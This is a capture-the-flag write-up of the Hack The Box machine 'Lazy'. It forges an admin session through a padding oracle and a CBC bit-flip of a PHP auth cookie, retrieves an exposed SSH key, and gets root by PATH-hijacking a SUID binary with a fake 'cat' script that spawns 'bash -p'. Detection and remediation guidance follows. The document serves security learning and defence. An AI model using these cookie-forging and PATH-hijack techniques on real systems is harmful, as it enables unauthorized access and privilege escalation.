Skip to content
Back to all posts

HTB: Lazy

· 17 min medium Linux Lazy

A padding oracle in a custom PHP authentication cookie enables CBC bit-flipping to forge admin access, exposing an SSH key. A SUID binary with a relative PATH call to cat completes the root chain.

Overview

Lazy is a medium-rated Linux box running a custom PHP web application on Ubuntu 14.04 (32-bit). The application implements its own authentication system using an 8-byte block cipher in CBC mode to encrypt session cookies. The server returns “Invalid padding” for malformed cookies: a textbook padding oracle. Combined with a CBC bit-flipping attack, an attacker can escalate from a self-registered account to the admin account with a single byte modification to the cookie.

The admin panel contains a link to an SSH private key for user mitsos. A custom SUID binary in that user’s home directory calls system("cat /etc/shadow") with a relative path to cat. Prepending /tmp to PATH and placing a malicious cat script there provides immediate root-level command execution.

The box is a clean demonstration of two distinct vulnerability classes: cryptographic implementation flaws and Unix privilege escalation fundamentals. Neither requires a CVE; both exploit design decisions that are wrong in well-understood ways.

Reconnaissance

nmap -sC -sV -T4 10.129.19.153
PortServiceProduct / VersionNotes
22SSHOpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8Ubuntu 14.04 banner
80HTTPApache 2.4.7 (Ubuntu)“CompanyDev” homepage

Two services. SSH 6.6.1p1 is old but rarely the initial access vector. The web application is the primary target. Response headers reveal PHP/5.5.9-1ubuntu4.21.

The homepage presents two links: /login.php and /register.php. After registration, the authenticated area shows only the username and a logout link. The application is deliberately sparse; the interesting behaviour is in the authentication mechanism itself.

Attack Surface Analysis

To understand the encryption scheme, I register accounts with different username lengths and compare cookie sizes:

Username (length)PlaintextCookie size (bytes)
a (1)user=a (6 bytes)16
test (4)user=test (9)24
testuser1 (9)user=testuser1 (14)24
testtesttesttest (16)user=testtesttesttest (21)32

Ciphertext size increases in 8-byte increments: this confirms an 8-byte block cipher (DES or Blowfish) in CBC mode with PKCS7 padding and an 8-byte IV prepended to the ciphertext.

Padding oracle discovery

Testing the application’s response to invalid cookies:

No cookie:           1117 bytes (homepage with login links)
Valid cookie:          983 bytes (authenticated page)
Invalid base64:         15 bytes ("Invalid padding")
Truncated cookie:       15 bytes ("Invalid padding")
Bit-flipped cookie:     15 bytes ("Invalid padding")

The server explicitly returns “Invalid padding” when CBC decryption produces incorrect PKCS7 padding. This is a padding oracle: the error message allows an attacker to determine whether a given ciphertext produces valid padding after decryption, one byte at a time. This violates a fundamental cryptographic principle: decryption oracles must never reveal padding validity.

SQL error disclosure

Registering the username “admin” returns a raw MySQL error:

Duplicate entry 'admin' for key 'PRIMARY'

This confirms: the admin user exists, the database is MySQL, and error messages are not sanitised.

Vulnerability Analysis

AttributeValue
CWECWE-649 (Reliance on Obfuscation or Encryption with No Integrity Check)
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Root causeServer leaks padding validity through distinct error message
ImpactDecrypt any cookie; forge cookies for arbitrary usernames

A padding oracle allows two attacks. First, full decryption: an attacker can recover the plaintext of any ciphertext block by testing 256 values per byte. Second, encryption: an attacker can forge ciphertexts that decrypt to arbitrary plaintexts (256 * blocksize requests per block).

However, for this box, neither full attack is necessary. CBC bit-flipping is faster.

CBC bit-flipping (CWE-353)

In CBC mode, flipping a bit in ciphertext block C(i-1) flips the corresponding bit in plaintext block P(i), because P(i) = D(C(i)) XOR C(i-1). If the attacker knows (or can guess) the plaintext, a single byte XOR forges a new plaintext value.

The attack requires the plaintext format. Padding oracle decryption reveals it: user=<username>.

SUID PATH hijacking (CWE-426)

AttributeValue
CWECWE-426 (Untrusted Search Path)
CVSS 3.18.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Root causeSUID binary calls system("cat /etc/shadow") with relative path
ImpactArbitrary command execution as root

The system() function invokes /bin/sh -c "cat /etc/shadow". Because cat is a relative path, the shell resolves it via the PATH environment variable. An attacker who controls PATH substitutes a malicious cat.

Exploitation

Step 1: Padding oracle decryption

A custom Python script iterates over each byte in each ciphertext block, testing all 256 values against the oracle:

Cookie for 'testuser1' (24 bytes, 3 blocks):
  Block 1 plaintext: user=tes
  Block 2 plaintext: tuser1\x02\x02

Full plaintext: user=testuser1

This confirms the format: user=<username>.

Rather than the slow padding oracle encryption (2048 requests per block), I use a one-request CBC bit-flip. I register a user named bdmin (differs from admin at byte position 5: 0x62 vs 0x61). The cookie encrypts user=bdmin.

XOR byte 5 of the IV with 0x62 XOR 0x61 = 0x03 to flip b to a:

import base64

cookie_b64 = '+3WEHUrK1ItAs3agqlvyF0kQ0BLFF89C'
raw = bytearray(base64.b64decode(cookie_b64))

# Flip byte 5 of IV: 'b' (0x62) -> 'a' (0x61)
raw[5] ^= 0x03

forged = base64.b64encode(bytes(raw)).decode()

Verification:

curl -s -b "auth=+3WEHUrJ1ItAs3agqlvyF0kQ0BLFF89C" \
    http://10.129.19.153/index.php | grep "logged in"
# You are currently logged in as admin!

Admin access with a single cookie byte modification. No brute-force, no password, no SQL injection.

Step 3: SSH key from admin panel

The admin panel contains a message to a colleague with a link to a downloadable RSA private key:

Tasos this is my ssh key, just in case, if you ever want
to login and check something out.
curl -s http://10.129.19.153/mysshkeywithnamemitsos > mitsos_key
chmod 600 mitsos_key
ssh -i mitsos_key -o PubkeyAcceptedKeyTypes=+ssh-rsa \
    -o HostKeyAlgorithms=+ssh-rsa [email protected]

mitsos@LazyClown:~$ cat /home/mitsos/user.txt
# [redacted]

The RSA key required legacy algorithm negotiation because OpenSSH 6.6.1p1 predates SHA-2 RSA signature support. Modern OpenSSL 3.x defaults reject SHA-1 RSA signing.

Step 4: SUID PATH hijacking

ls -la /home/mitsos/backup
# -rwsrwsr-x 1 root root 7303 May  3  2017 /home/mitsos/backup

strings /home/mitsos/backup | grep cat
# cat /etc/shadow

The binary calls system("cat /etc/shadow") with cat as a relative path:

printf '#!/bin/sh\n/bin/cat /root/root.txt\n' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
/home/mitsos/backup
# [redacted]

Root flag captured. For a full root shell:

printf '#!/bin/sh\n/bin/bash -p\n' > /tmp/cat
/home/mitsos/backup
# root@LazyClown:~#

Post-Exploitation

uname -a
# Linux LazyClown 4.4.0-31-generic #50~14.04.1 i686 GNU/Linux

id
# uid=1000(mitsos) gid=1000(mitsos)
# groups=1000(mitsos),4(adm),24(cdrom),27(sudo)

32-bit Ubuntu 14.04.4 with kernel 4.4.0-31. The mitsos user is in the sudo group but no password was recovered for sudo authentication. The kernel is vulnerable to DirtyCow (CVE-2016-5195, patched at 4.4.26) and CVE-2016-9793, providing alternative escalation paths.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
ReconnaissanceT1595.002Burst of registration requests with varying username lengths
Initial accessT1606.001Forged admin cookie from IP that never authenticated as admin
Credential accessT1552.004HTTP download of private key file
Privilege escalationT1574.007PATH modification followed by SUID binary execution

Network-level: The padding oracle attack generates hundreds of requests with modified cookies, each receiving either a 15-byte or 983-byte response. This binary response pattern is detectable. Rate limiting on authentication endpoints would slow the attack significantly.

Host-level: auditd rules on PATH modifications combined with SUID binary execution would catch the privilege escalation. The backup binary spawning an unexpected child process (/tmp/cat instead of /bin/cat) is a high-fidelity detection.

Remediation

PriorityActionEffortImpact
P0Replace custom crypto with a standard session libraryMediumCritical
P0Remove SSH key from web-accessible pathLowCritical
P0Rewrite backup binary to use absolute path for catLowCritical
P1Return generic errors for all authentication failuresLowHigh
P1Add HMAC to cookies (encrypt-then-MAC)MediumHigh
P2Remove SQL error messages from user-facing responsesLowMedium
P2Upgrade Ubuntu 14.04 to a supported releaseHighMedium
P3Remove X-Powered-By headerLowLow

The padding oracle exists because the application implements its own cryptographic session management. This is almost always wrong. Use the language runtime’s built-in session handling (PHP’s session_start() with server-side session storage) instead of encrypting data in client-side cookies. If client-side tokens are required, use authenticated encryption (AES-GCM or encrypt-then-MAC with HMAC-SHA256). Never expose padding validity through error messages.

The SUID binary fix is trivial: use /bin/cat instead of cat. Better still, read the file directly in C with open()/read() and drop the system() call entirely. Any SUID binary that calls system() is inherently dangerous because system() invokes a shell, which respects PATH, IFS, and other environment variables.

Key Takeaways

  1. Padding oracles are not theoretical. The “Invalid padding” response on this box is a textbook example of Vaudenay’s 2002 attack. Real-world equivalents include ASP.NET’s ScriptResource.axd padding oracle (CVE-2010-3332) and various JWT implementations. Any system that reveals padding validity through timing, error messages, or response content is vulnerable.

  2. CBC bit-flipping is faster than full padding oracle encryption. When the plaintext format is known and only one byte needs to change, a single XOR on the IV or preceding ciphertext block forges the desired plaintext. Register bdmin, flip one bit, become admin. No brute-force required.

  3. SUID binaries that call system() with relative paths are root shells. This is one of the most reliable Linux privilege escalation patterns. The fix is absolute paths; the real fix is not using system() at all in SUID binaries. GTFOBins catalogues dozens of binaries exploitable through PATH hijacking. Always check strings output on custom SUID binaries for relative command references.